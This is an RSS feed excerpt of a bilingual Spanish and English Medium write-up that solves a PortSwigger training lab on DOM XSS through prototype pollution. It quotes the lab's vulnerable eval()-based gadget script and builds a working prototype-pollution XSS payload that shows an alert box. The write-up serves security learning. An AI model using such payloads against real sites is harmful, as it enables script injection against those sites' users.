src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46e97b734e8d" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[DOM XSS via an alternative prototype pollution vector — Portswigger Lab]]></title>
            <link>https://medium.com/@red_darkin/dom-xss-via-an-alternative-prototype-pollution-vector-portswigger-lab-a616f616b91a?source=rss-a40f7d301d8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a616f616b91a</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[prototype-pollution]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Sat, 19 Nov 2022 21:36:10 GMT</pubDate>
            <atom:updated>2022-11-19T21:36:10.939Z</atom:updated>
            <content:encoded><![CDATA[<h3>DOM XSS via an alternative prototype pollution vector — Portswigger Lab</h3><h3>Version en Español</h3><p>Empiezo mi primer escrito con un pequeño paso a paso de como solucione uno los nuevos laboratorios que ha lanzado Portswigger sobre Prototype Pollution.</p><h3>¿Qué es la Contaminación de Prototipos?</h3><p>En este caso lo haremos de forma manual; pero primero se estaran preguntando que es el ataque de “<strong>contaminación de prototipos</strong>”. Pues bien el <strong>Protoype Pollution</strong> es un ataque donde se busca inyectar propiedades en prototipos de construcciones de JavaScript existentes, por lo que un atacante puede controlar los valores por defecto de las propiedades de un objeto, manipulando la lógica de la aplicación.</p><h3>Solucionando el Lab</h3><p>Ahora para entenderlo mejor solucionaremos el laboratorio “DOM XSS via an alternative prototype pollution vector”. Podemos solucionarlo de forma manual o con DOM invader uina herramienta super poderosa que nos ayuda a encontrar esta vulnerabilidad de forma rapida.</p><p>Para realizar este lab manualmente, nuestro mejor aliado será las devtools del browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBi49byclRwUS0NjmzlL-g.png" /><figcaption>Home del lab.</figcaption></figure><p>Si en la consola agregamos <strong><em>Object.prototype</em></strong> podemos ver las propiedades de la web, ahora si inyectamos de forma arbitraria <strong><em>?__proto__.cualquiercosa=red_darkin</em></strong>. vemos como agregamos la prodiedad “<strong><em>cualquiercosa</em></strong>” con el valor “<strong><em>red_darkin</em></strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFMQRNSoV9TxETem4W_vAw.png" /></figure><p>Ahora lo que debemos hacer es buscar el “<strong><em>gadget</em></strong>”. Para esto vemos en el codigo fuente de la app y nos encontramos con <em>/resources/js/searchLoggerAlternative.js</em></p><pre>async function logQuery(url, params) {<br>    try {<br>        await fetch(url, {method: &quot;post&quot;, keepalive: true, body: JSON.stringify(params)});<br>    } catch(e) {<br>        console.error(&quot;Failed storing query&quot;);<br>    }<br>}<br><br>async function searchLogger() {<br>    window.macros = {};<br>    window.manager = {params: $.parseParams(new URL(location)), macro(property) {<br>            if (window.macros.hasOwnProperty(property))<br>                return macros[property]<br>        }};<br>    let a = manager.sequence || 1;<br>    manager.sequence = a + 1;<br><br>    eval(&#39;if(manager &amp;&amp; manager.sequence){ manager.macro(&#39;+manager.sequence+&#39;) }&#39;);<br><br>    if(manager.params &amp;&amp; manager.params.search) {<br>        await logQuery(&#39;/logger&#39;, manager.params);<br>    }<br>}<br><br>window.addEventListener(&quot;load&quot;, searchLogger);</pre><p>Notemos que la propiedad <strong><em>manager.sequence </em></strong>es evaluada por el sink <strong><em>eval(). </em></strong>Ahora si trataremos de inyectar un nuevo valor a la propiedad <strong><em>sequence </em></strong>del objeto <strong><em>manager.</em></strong></p><p>Al agregar el payload <strong><em>?__proto__.sequence=alert(1)</em></strong> vemos que se genera un error ya que la aplicación esta agregando un 1) haciendo que la sintaxis tenga errores, por lo que ahora debemos agregar un payload que este con una sintaxis correcta y que nos permita ejecutar el pop up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uRRIlm7iJ7FMhARCb9BH8A.png" /></figure><p>Probamos en la consola agregando “<strong><em>)),(</em></strong>“ y Kaboom💣, tenemos nuestro pop up.🤓</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*6E4e264yPFvgh9AnIVwvAQ.png" /><figcaption>Construcción del payload.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qwe3z50zaOly1DUKZQRCig.png" /></figure><p>Finalmente el payload quedaría de la siguiente forma: <strong><em>?__proto__.sequence=alert(“XSS”)),(</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_PCtTWCYQjq-m3p7yvntg.png" /></figure><p>Espero que este ejemplo les haya ayudado entender un poco más sobre este tipo de vulnerabilidades, y recuerden que siempre habrá más de una solución, asi que hackealo a tu modo 😁.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3><strong>English Version</strong></h3><p>I start my first write up on with how I solved one of the new labs that Portswigger has released about Prototype Pollution.</p><h3>What is Prototype Pollution?</h3><p>In this case we will do it manually; but first you may be wondering what is <strong>Prototype Pollution</strong> attack. Well, <strong>Prototype Pollution</strong> is an attack that seeks to inject properties into prototypes of existing JavaScript constructs, so an attacker can control the default values of an object’s properties, manipulating the application logic.</p><h3>Solving the Lab</h3><p>To understand it better we will solve the lab “DOM XSS via an alternative prototype pollution vector”. We can solve it manually or with DOM invader, a super powerful tool that helps us to find this vulnerability quickly.</p><p>To perform this lab manually, our best ally will be the browser’s devtools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBi49byclRwUS0NjmzlL-g.png" /><figcaption>Lab Home</figcaption></figure><p>If we add <strong><em>Object.prototype</em></strong> in the console, we can see the properties of the web, now if we inject in an arbitrary payload like: <strong><em>?__proto__.cualquiercosa=red_darkin</em></strong>. we can see how the property “<strong><em>cualquiercosa</em></strong>” was add with the value “<strong><em>red_darkin</em></strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFMQRNSoV9TxETem4W_vAw.png" /></figure><p>Now we must look for the “<strong><em>gadget</em></strong>”. We need to check <em>/resources/js/searchLoggerAlternative.js</em></p><pre>async function logQuery(url, params) {<br>    try {<br>        await fetch(url, {method: &quot;post&quot;, keepalive: true, body: JSON.stringify(params)});<br>    } catch(e) {<br>        console.error(&quot;Failed storing query&quot;);<br>    }<br>}<br><br>async function searchLogger() {<br>    window.macros = {};<br>    window.manager = {params: $.parseParams(new URL(location)), macro(property) {<br>            if (window.macros.hasOwnProperty(property))<br>                return macros[property]<br>        }};<br>    let a = manager.sequence || 1;<br>    manager.sequence = a + 1;<br><br>    eval(&#39;if(manager &amp;&amp; manager.sequence){ manager.macro(&#39;+manager.sequence+&#39;) }&#39;);<br><br>    if(manager.params &amp;&amp; manager.params.search) {<br>        await logQuery(&#39;/logger&#39;, manager.params);<br>    }<br>}<br><br>window.addEventListener(&quot;load&quot;, searchLogger);</pre><p>Note that <strong><em>manager.sequence </em></strong>property is evaluated by the <strong><em>eval() </em></strong>sink<strong><em>. </em></strong>Now we will try to inject a new value to the <strong><em>sequence </em></strong>property of the <strong><em>manager </em></strong>object<strong><em>.</em></strong></p><p>If we add the payload <strong><em>?__proto__.sequence=alert(1)</em></strong> we can see a SintaxError since the application is adding an <strong><em>1)</em></strong>, so we must add a payload that has the correct syntax that allows us to execute the pop up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uRRIlm7iJ7FMhARCb9BH8A.png" /></figure><p>We test in the console by adding “)),(“ to our payload and Kaboom💣, we have our pop up🤓</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*6E4e264yPFvgh9AnIVwvAQ.png" /><figcaption>Payload crafting.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qwe3z50zaOly1DUKZQRCig.png" /></figure><p>Finally, the payload will be as follows: <strong><em>?__proto__.sequence=alert(“XSS”)),(</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_PCtTWCYQjq-m3p7yvntg.png" /></figure><p>I hope this example has helped you understand a little more about this type of vulnerabilities, and remember, there will always be more than one solution, so hack your way😁.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a616f616b91a" width="1" height="1" alt="">]]></content:encoded>
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